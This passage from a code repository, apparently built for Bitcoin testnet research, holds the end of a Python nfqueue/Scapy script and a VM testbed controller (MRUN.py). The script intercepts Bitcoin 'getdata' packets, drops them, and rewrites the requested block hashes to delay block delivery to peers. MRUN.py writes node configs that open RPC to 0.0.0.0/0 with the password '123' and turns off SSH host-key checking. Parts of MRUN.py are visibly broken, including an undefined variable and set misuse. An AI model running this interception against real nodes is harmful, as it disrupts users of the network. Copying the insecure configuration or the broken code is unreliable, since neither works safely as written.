list(self.tup)) + ['send finished ok',str(self.modified)] 221 | logging.debug('\t'.join(ftuple)) 222 | return 223 | 224 | 225 | 226 | except Exception as e: 227 | ftuple = ftuple + map(str, list(self.tup)) + ['send did not finish ok',str(self.modified)] 228 | logging.debug('\t'.join(ftuple)) 229 | return 230 | def process(i, frame): 231 | ''' 232 | For each destination there is a pipe 233 | Process writes to a diffrent pipe per bitcoin peer the operation need to be done and packet 234 | one thread per bitcoin peer is assigned to read from this pipe 235 | ''' 236 | global threads 237 | global write_to 238 | now = datetime.datetime.now() 239 | frame_data = frame.get_data() 240 | size=frame.get_length() 241 | tmp=str(frame_data).encode('HEX') 242 | if size<55 or size==1500: 243 | 244 | frame.set_verdict(nfqueue.NF_ACCEPT) 245 | return 246 | 247 | 248 | is_getdata=getdata_any.search(tmp) 249 | 250 | if is_getdata==None: 251 | frame.set_verdict(nfqueue.NF_ACCEPT) 252 | return 253 | #Only getdata are left 254 | pkt=IP(frame_data) 255 | seq=pkt[TCP].seq 256 | dst= pkt.dst #tmp[32:40] 257 | tup=(pkt.dst,pkt.id,pkt.len,pkt.seq) 258 | if dst not in threads: 259 | output_p, input_p = Pipe() 260 | threads[dst]=Reader(output_p,dst) 261 | write_to[dst]=input_p 262 | threads[dst].start() 263 | 264 | if seq in threads[dst].getdata_seq : #tcp retransmission. We have this issue because we only delay the packets we change 265 | if size > threads[dst].getdata_seq[seq][0]: 266 | ftuple = [str(now)[11:16]] +map(str, list(tup)) + ['got bigger'] 267 | logging.debug('\t'.join(ftuple)) 268 | frame.set_verdict(nfqueue.NF_DROP) 269 | 270 | elif size < threads[dst].getdata_seq[seq][0]: 271 | ftuple = [str(now)[11:16]] +map(str, list(tup)) + ['got smaller'] 272 | logging.debug('\t'.join(ftuple)) 273 | frame.set_verdict(nfqueue.NF_DROP) 274 | 275 | if threads[dst].getdata_seq[seq][1]==None: 276 | frame.set_verdict(nfqueue.NF_DROP) 277 | return 278 | else: 279 | pkt[TCP].payload=threads[dst].getdata_seq[seq][1] 280 | del pkt[IP].chksum 281 | del pkt[TCP].chksum 282 | frame.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) 283 | return 284 | 285 | threads[dst].getdata_seq[seq]=(size,None) 286 | 287 | 288 | 289 | if block_getdata.search(tmp)!= None : # if packet contains getdata for block 290 | coin=random.random() #Decide if attacker controls the connections based on propability 291 | if coin <= prop: 292 | frame.set_verdict(nfqueue.NF_DROP)#drops existing packets 293 | write_to[dst].send((frame_data,'modify_hash'))#asks responsible thread to modify and send the packet 294 | ftuple = [str(now)[11:16]] +map(str, list(tup))+ ['WRITTER:getdata & block WILL MODIFY'] 295 | logging.debug('\t'.join(ftuple)) 296 | return 297 | else: 298 | frame.set_verdict(nfqueue.NF_ACCEPT) # Attacker does not see the connection. just sends the packet as is 299 | ftuple = [str(now)[11:16]] +map(str, list(tup))+ ['WRITTER:getdata & block WILL ACCEPT'] 300 | logging.debug('\t'.join(ftuple)) 301 | return 302 | 303 | elif len(threads[dst].buff)>0 and (now-threads[dst].buff[0][1]).total_seconds() > delay * 60: 304 | frame.set_verdict(nfqueue.NF_DROP) 305 | write_to[dst].send((frame_data,'restore_hash'))#asks responsible thread to restore the old hash and send the packet 306 | ftuple = [str(now)[11:16]] +map(str, list(tup))+ ['WRITTER:RESTORE'] 307 | logging.debug('\t'.join(ftuple)) 308 | return 309 | 310 | else: 311 | frame.set_verdict(nfqueue.NF_ACCEPT) 312 | ppkt=(pkt[TCP].payload).copy() 313 | threads[dst].getdata_seq[seq]=(size,ppkt) 314 | if len(threads[dst].buff)>0: 315 | ftuple = [str(now)[11:16]]+map(str, list(tup))+['WRITTER:was not used to restore',str((now-threads[dst].buff[0][1]).total_seconds()/60.0)] 316 | logging.debug('\t'.join(ftuple)) 317 | return 318 | return 319 | 320 | 321 | 322 | 323 | def main( ): 324 | nfq = nfqueue.queue() 325 | nfq.open() 326 | nfq.bind(socket.AF_INET) 327 | nfq.set_callback(process) 328 | nfq.create_queue(0) 329 | try: 330 | nfq.try_run() # process is called 331 | nfq.unbind(socket.AF_INET) 332 | nfq.close() 333 | nfsys.exit(1) 334 | except KeyboardInterrupt: 335 | nfq.unbind(socket.AF_INET) 336 | nfq.close() 337 | nfsys.exit(1) 338 | return 339 | 340 | main() 341 | -------------------------------------------------------------------------------- /testbed/MRUN.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os, sys 3 | import datetime 4 | from time import sleep 5 | from helpers import run 6 | from helpers import runb 7 | from helpers import runo 8 | import random 9 | import argparse 10 | INDIR='/home/virt/code/prj/vms/in/' 11 | OUTDIR='/home/virt/code/prj/vms/out' 12 | SYNCDIR= '/home/virt/code/prj/vms/conf/' # directory with files that should be rsynced to all vms 13 | 14 | VMOUTDIR='/home/ubuntu/bitcoin-testnet-box/1/testnet3/' 15 | VMRSYNCDIR='/home/ubuntu/bitcoin-testnet-box' 16 | NODES_NUM=7 17 | 18 | # PICK ON OF THE VMS as controller 19 | controller='ubuntu@17.15.137.163' 20 | 21 | #EXAMPLES: 22 | #./MRUN.PY giveme 206 2 'addnode 109.39.152.46:19000 'onetry'' 23 | #./MRUN.PY giveme 206 2 getpeerinfo 24 | # sudo chown -R ubuntu bitcoin-testnet-box/ 25 | 26 | 27 | with open(INDIR+"btc_clients", "r") as ins: 28 | for line2 in ins: 29 | l=line2.split() 30 | hj.append((l[0],l[1],l[2])) 31 | i=0 32 | conn=set() 33 | for i in range(len(hj)): 34 | j=i+1 35 | conn[hj[i]]=set() 36 | while len(conn[hj[i])<10: 37 | while j < len(hj): 38 | if hj[j] not in conn[hj[i]] and hj[i] not in conn[hj[j]] : 39 | conn[hj[i]].add(hj[j]) 40 | j=j+1 41 | j=0 42 | 43 | 44 | 45 | def map_nodes(): 46 | vm2ip={} 47 | with open(INDIR+"btc_clients", "r") as ins: 48 | for line2 in ins: 49 | l=line2.split() 50 | c=(l[2],l[1]) #(,vm,node) 51 | vm2ip[c]=l[0] 52 | return vm2ip 53 | 54 | def map_vms(): 55 | vm2ip={} 56 | with open(INDIR+"ips_2_ssh", "r") as ins: 57 | for line2 in ins: 58 | l=line2.split() 59 | vm2ip[int(l[1][2:])]=l[0] 60 | return vm2ip 61 | 62 | def giveme (vm, node, cmd): 63 | node_adrr=map_nodes() 64 | c='bitcoin-cli -rpcconnect=%s -rpcport=19100 -datadir=/home/ubuntu/bitcoin-testnet-box/%s %s ' % (node_adrr[(str(vm),str(node))],node,cmd) 65 | print c 66 | run(c,controller) 67 | return 68 | 69 | def test_n_start(ffrom, to): 70 | started=0 71 | for vm in range(ffrom, to+1): 72 | for node in range(1,6): 73 | print "will check", vm, node 74 | try: 75 | giveme("vm"+str(vm) , node , 'getinfo') 76 | 77 | except Exception as e: 78 | started=started+1 79 | print "Probably not running" 80 | run_start ( vm, vm, [node] ) 81 | print "____STARTED___", started, '____out of____ ',(to-ffrom+1)*5 82 | 83 | def new_connections(ffrom, to , c): 84 | node2ip=map_nodes() 85 | all_nodes=node2ip.values() 86 | for vm in range(ffrom, to+1): 87 | for node in range(1,6): 88 | for k in range(int(c)): 89 | nn=random.choice(all_nodes) 90 | cmd="addnode %s:18333 'onetry'" % nn 91 | print cmd 92 | try: 93 | giveme ("vm"+str(vm), node, cmd) 94 | except: 95 | pass 96 | return 97 | 98 | 99 | def bind_ips_to_nodes(a,ase): 100 | with open(INDIR+"btc_clients", "r") as ins: 101 | for line2 in ins: 102 | l=line2.split() 103 | vm=l[2][2:] 104 | node=l[1] 105 | ip=l[0] 106 | port=18333 107 | rpcport=19100 108 | VMDIR='/home/virt/code/prj/vms/conf/%s/%s' % (vm,node) 109 | try: 110 | re=open(VMDIR+'/bitcoin.conf','wb') 111 | except Exception as e: 112 | print e 113 | run('mkdir -p '+ VMDIR ) 114 | re=open(VMDIR+'/bitcoin.conf','wb') 115 | re.write('testnet=1\ndnsseed=0\nupnp=0\nbind=%s:%s\nport=%s\nexternalip=%s\nrest=1\nrpcport=%s\nserver=1\nrpcallowip=0.0.0.0/0\nrpcuser=admin1\nrpcpassword=123'% (ip , port,port ,ip, rpcport)) 116 | re.close() 117 | 118 | 119 | def rsync(f, to): 120 | for vm in range(f, to+1): 121 | cmd='rsync -avz %s vm%s:%s' % (SYNCDIR+str(vm)+'/' , vm, VMRSYNCDIR) 122 | #rsync -avz /home/virt/code/prj/vms/sync2vms/ node5:/home/ubuntu/bitcoin-testnet-box 123 | print 'Rsync to VM %s. cmd: %s' % (vm,cmd) 124 | run(cmd) 125 | return 126 | 127 | def ns(f, to): 128 | vm2ip=map_vms() 129 | for vm in range(f, to+1): 130 | cmd='sudo /home/ubuntu/bitcoin-testnet-box/namespace ' 131 | run(cmd, "ubuntu@%s" % vm2ip[vm]) 132 | print "Name spaces for vm %s" % vm 133 | return 134 | 135 | def make(vm,node, cmd): 136 | ssh_to_node=map_vms() 137 | 138 | cmd='cd /home/ubuntu/bitcoin-testnet-box; make %s%s >> /tmp/make_out.txt' % (cmd, node) 139 | print "VM %s node %s will execute %s" % (vm, node, cmd) 140 | try: 141 | pid=run(cmd, "ubuntu@%s" % ssh_to_node[int(vm)]) 142 | except: 143 | pass 144 | return 145 | 146 | def make_all(ffrom, to, cmd): 147 | for vm in range(ffrom, to+1): 148 | for node in range(1,6): 149 | make(vm,node,cmd) 150 | return 151 | 152 | def scp(f, to): 153 | now=str(datetime.datetime.now()) 154 | now=now[5:-10].replace(' ', '_') 155 | #scp node5:__PUSH_TO_SERVER.SH ./ 156 | for vm in range(f, to+1): 157 | try: 158 | run('scp vm%s:%s/log %s' % (vm,VMRSYNCDIR,OUTDIR)) 159 | cmd=run('mv %s/log %s/%s_%s' % (OUTDIR, OUTDIR, vm,'con') ) 160 | except Exception as e: 161 | print "__ERROR__",vm,e 162 | for node in range(0): 163 | run('scp vm%s:%s/%s/testnet3/debug.log %s' % (vm,VMRSYNCDIR,node,OUTDIR)) 164 | run('mv %s/debug.log %s/%s_%s' % (OUTDIR, OUTDIR, vm,"addr") ) 165 | return 166 | 167 | #one entry per vm =(first asigned IP) 'where do i ssh?' 168 | 169 | #one entry per node = (IP:port) 'which node am I looking for , where should a node connect' 170 | #o.write('node%s_%s %s:%s\n'%(vm, ip_id ,ip , port+ip_id )) 171 | 172 | 173 | 174 | def make_hosts(f,to): 175 | i=to-f+1 176 | print './cloneCtrl.py clone %s test' % i 177 | run('./cloneCtrl.py clone %s test' % i) 178 | return 179 | 180 | 181 | def run_start ( f , to, nodes=[1,2,3,4,5] ): 182 | ssh_to_node=map_vms() 183 | for vm in range(f, to+1): 184 | print "VM",vm 185 | for node in nodes: 186 | print '______',node 187 | cmd='cd /home/ubuntu/bitcoin-testnet-box; make start%s >> /tmp/make_out.txt' % node 188 | print cmd 189 | pid=run(cmd, "ubuntu@%s" % ssh_to_node[vm]) 190 | #pid.kill() 191 | return 192 | 193 | def clean_server(a,b): 194 | run("sudo ./kill_all") 195 | return 196 | 197 | def run_cmd ( f , to, cmd ): 198 | command=cmd+ " >> /tmp/log.txt &" 199 | ssh_to_node=map_vms() 200 | for i in range(f, to+1): 201 | print 'Node %s will execute command %s' % (i,command) 202 | try: 203 | run(command, "ubuntu@%s" % ssh_to_node[i]) 204 | except Exception as e: 205 | pass 206 | return 207 | def del_ ( f , to, filee ): 208 | ssh_to_node=map_vms() 209 | for i in range(f, to+1): 210 | 211 | cmd='sudo rm /home/ubuntu/bitcoin-testnet-box/*/testnet3/%s' % filee 212 | try: 213 | run(cmd, "ubuntu@%s" % ssh_to_node[i]) 214 | except Exception as e: 215 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e) 216 | return 217 | 218 | def chown ( f , to ): 219 | ssh_to_node=map_vms() 220 | cmd='sudo chown -R ubuntu bitcoin-testnet-box/' 221 | for i in range(f, to+1): 222 | print 'Node %s will execute cmd %s' % (i,cmd) 223 | try: 224 | run(cmd, "ubuntu@%s" % ssh_to_node[i]) 225 | except Exception as e: 226 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e) 227 | return 228 | def save_peers(f,to): 229 | # do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat bitcoin-testnet-box/$i/testnet3/peers.dat.bak; done 230 | ssh_to_node=map_vms() 231 | cmd='for i in {1..5}; do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat bitcoin-testnet-box/$i/testnet3/peers.dat.bak; done' 232 | for i in range(f, to+1): 233 | print 'Node %s will execute cmd %s' % (i,cmd) 234 | try: 235 | run(cmd, "ubuntu@%s" % ssh_to_node[i]) 236 | except Exception as e: 237 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e) 238 | return 239 | 240 | def cp_peers(f,to): 241 | # do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat bitcoin-testnet-box/$i/testnet3/peers.dat.bak; done 242 | ssh_to_node=map_vms() 243 | cmd='for i in {1..5}; do sudo cp bitcoin-testnet-box/$i/testnet3/peers.dat.bak bitcoin-testnet-box/$i/testnet3/peers.dat; done' 244 | for i in range(f, to+1): 245 | print 'Node %s will execute cmd %s' % (i,cmd) 246 | try: 247 | run(cmd, "ubuntu@%s" % ssh_to_node[i]) 248 | except Exception as e: 249 | print 'Node %s fail do execute cmd %s with %s' % (i,cmd,e) 250 | return 251 | def delete_hosts(f, to): 252 | 253 | for i in range(f, to+1): 254 | try: 255 | run('./cloneCtrl.py stopAndDelete ub1404-%s' % i) 256 | except Exception as e: 257 | print e 258 | return 259 | 260 | def delete_nets(f, to): 261 | 262 | for vm in range(f, to+1): 263 | for node in range(1,6): 264 | try: 265 | run('virsh net-destroy net%s_%s' % (vm,node)) 266 | except Exception as e: 267 | print e 268 | return 269 | 270 | def stop_hosts(f, to): 271 | for i in range(f, to+1): 272 | try: 273 | run('virsh destroy ub1404-%s' % i) 274 | 275 | except Exception as e: 276 | print e 277 | return 278 | 279 | #echo -e "lal\n kmcoefpw" 280 | def write_nets(ffrom , to ,op): 281 | if op=='new': 282 | re=open(INDIR+'ips_2_ssh', 'wb') 283 | cl=open(INDIR+'btc_clients', 'wb') 284 | ssh=open("/home/virt/.ssh/config", 'wb' ) 285 | ssh.write("Host * \nStrictHostKeyChecking no\n") 286 | ssh.write("Host golden \nHostName 192.168.122.185\nUser ubuntu\n") 287 | ssh.close() 288 | re.close() 289 | cl.close() 290 | re=open(INDIR+'ips_2_ssh', 'r+') 291 | re.read() 292 | ssh=open("/home/virt/.ssh/config", 'r+' ) 293 | ssh.read() 294 | cl=open(INDIR+'btc_clients', 'r+') 295 | cl.read() 296 | os.chdir('/home/virt/_dumps') 297 | 298 | for vm in range(ffrom, to+1): 299 | for node in range(0,6): 300 | a1=random.randint(2 ,199 ) 301 | while a1==127: 302 | a1=random.randint(2 ,199 ) 303 | a2=random.randint(2 ,253 ) 304 | a3=random.randint(2 ,253 ) 305 | a4=random.randint(2 ,253 ) 306 | ll=map(str,[a1,a2,a3,a4]) 307 | ip='.'.join(ll) 308 | ll=map(str,[a1,a2,a3,'1']) 309 | net='.'.join(ll) 310 | if node==0: 311 | re.write(str( ip)+' vm'+str(vm)+"\n") 312 | ssh.write("Host vm"+str(vm)+"\nHostName "+str(ip) +"\nUser ubuntu\n" ) 313 | else: 314 | cl.write(str(ip)+' '+str(node)+' vm'+str(vm)+"\n") 315 | print 'Write to net%s_%s.xml' % (vm,node) 316 | open('net%s_%s.xml' % (vm,node), 'w').write( 317 | ''' 318 | net%s_%s 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | ''' % (vm,node,vm,node,net,ip,ip)) 327 | try: run('virsh net-destroy net%s_%s' % (vm,node)) 328 | except: pass 329 | ssh.close() 330 | re.close() 331 | cl.close() 332 | os.chdir('..') 333 | 334 | def create_nets(ffrom , to ): 335 | os.chdir('/home/virt/_dumps') 336 | for vm in range(ffrom, to+1): 337 | for node in range(0,6): 338 | try: 339 | run('virsh net-create net%s_%s.xml' % (vm,node)) 340 | print ' net%s_%s created' % (vm,node) 341 | sleep(2) 342 | except: 343 | pass 344 | os.chdir('..') 345 | return 346 | 347 | def asign_nets_to_vms(ffrom , to ): 348 | # assign vms to nets 349 | os.chdir('/home/virt/_dumps') 350 | for vm in range(ffrom, to+1): 351 | try: run('virsh destroy ub1404-%s' % vm) 352 | except: pass 353 | run('virsh dumpxml ub1404-%s > %s' % (vm,vm)) 354 | 355 | run('sed -i "s/default/net%s_0/" %s' % (vm,vm) ) 356 | for ii in range(1,6): 357 | run('sed -i "s/eth%s/net%s_%s/" %s' % (ii,vm,ii,vm) ) 358 | 359 | run('virsh define %s' % (vm)) 360 | 361 | 362 | os.chdir('..') 363 | 364 | def start_vms(ffrom, to): 365 | for vm in range(ffrom, to+1): 366 | run('virsh start ub1404-%s' % vm) 367 | print 'ub1404-%s started !' % vm 368 | 369 | parser = argparse.ArgumentParser("{delete_nets, stop_hosts,set_up,delete_hosts}") 370 | parser.add_argument("option", type=str, help=" ") 371 | parser.add_argument("start", type=int, help="start") 372 | parser.add_argument("end", type=int, help="end") 373 | parser.add_argument("extra", type=str,nargs='*', help="end") 374 | 375 | args = parser.parse_args() 376 | opt= args.option 377 | start= args.start 378 | end= args.end 379 | extra= args.extra 380 | if opt=="make_hosts": 381 | make_hosts(start,end) 382 | #Write will destroy a network if you ask to rewrite it!!!!! 383 | #If you want to rewrite all better reboot the server this will destroy them automatically :D 384 | elif opt=='write_nets'and len(extra): 385 | write_nets(start,end,extra[0]) 386 | 387 | elif opt=='create_nets': 388 | create_nets(start,end) 389 | #define 390 | elif opt=='asign': 391 | asign_nets_to_vms(start,end) 392 | 393 | elif opt=='start_vms': 394 | start_vms(start,end) 395 | 396 | elif opt=='chown': 397 | chown(start,end) 398 | 399 | elif opt=='test_n_start': 400 | test_n_start(start,end) 401 | 402 | 403 | elif opt=='bind': 404 | bind_ips_to_nodes(start,end) 405 | 406 | elif opt=="rsync" : 407 | rsync(start,end) 408 | 409 | elif opt=='ns': 410 | ns(start,end) 411 | 412 | elif opt=="run_start" : 413 | if len(extra): 414 | run_start(start,end,extra) 415 | else: 416 | run_start(start,end) 417 | 418 | if opt=='kill_back': 419 | clean_server(start,end) 420 | 421 | elif opt=='log' : 422 | run_cmd(start, end, 'nohup python '+ VMRSYNCDIR+'/simple_log.py ') 423 | 424 | elif opt=='save_peers': 425 | save_peers(start,end) 426 | elif opt=='stop_log' : 427 | run_cmd(start, end, 'pkill -f simple_log.py') 428 | 429 | elif opt=='giveme': 430 | giveme("vm"+str(start),end,extra[0]) 431 | elif opt=='make_all': 432 | make_all(start, end, extra[0]) 433 | elif opt=='make': 434 | make (start, end, extra[0]) # def make(vm,node, cmd): 435 | elif opt=="scp" : 436 | scp(start,end) 437 | elif opt=='new_connections': 438 | new_connections(start,end, extra[0]) 439 | elif opt=='stop_hosts': 440 | stop_hosts(start,end) 441 | 442 | elif opt=="delete_nets": 443 | delete_nets(start,end) 444 | elif opt=="cp_peers": 445 | cp_peers(start,end) 446 | elif opt=="delete_hosts": 447 | delete_hosts(start,end) 448 | elif opt=='del_': 449 | del_(start,end, extra[0]) 450 | elif opt=="run" and len(extra): 451 | [e]=extra 452 | if 'start' in e: 453 | print "Start is not an API cmd call {./MRUN.PY run_start 5 5 }" 454 | sys.exit(0) 455 | run_cmd(start,end,extra[0]) 456 | 457 | 458 | #./MRUN.PY run_start 5 5 459 | # ./MRUN.PY run 5 5 'make -C bitcoin-testnet-box getinfo' 460 | 461 | 462 | 463 | 464 | --------------------------------------------------------------------------------